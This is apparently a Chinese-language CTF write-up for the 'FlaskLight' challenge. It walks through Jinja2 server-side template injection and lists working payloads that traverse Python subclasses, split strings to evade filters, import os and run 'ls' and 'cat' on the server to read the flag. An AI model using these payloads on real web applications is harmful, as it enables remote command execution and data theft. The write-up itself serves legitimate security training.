[CSCCTF 2019 Qual]FlaskLight

查看源码

image-20240526190918700

也就是说变量告诉我了,也告诉我通过get传递了

所以?

来吧,宝贝

首先试了试sql注入,不行

只能试试ssti

这个是jinja2模型,还是不太熟练

?search={{[].__class__.__bases__[0].__subclasses__()[40]}}//已经可以读取文件了
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//找一个可以执行命令的函数
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//读取文件目录
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}xxxxxxxxxx {{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27ls%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//猜测当前目录在flasklight下
{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27cat%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//拿到flag

jinja2模版的ssti

在Python环境下,.__class__获取对应实例的类,.__mro__获取当前对象的所有继承类

得到所有类的父类object后,使用方法__subclasses__()查看所有类对象。

并找到了warnings.catch_warnings模块,通过该模块可以访问os模块。

因此,试图通过访问os模块执行命令查找根目录下的FLAG。

__init__将对象实例化

__globals__引用包含函数全局变量的字典

__builtins__下有eval__import__等全局函数

尝试导入os然后执行cmd命令

ls执行成功说明环境基于Linux

使用cat访问/flag即可得到FLAG

例子观察以上题目payload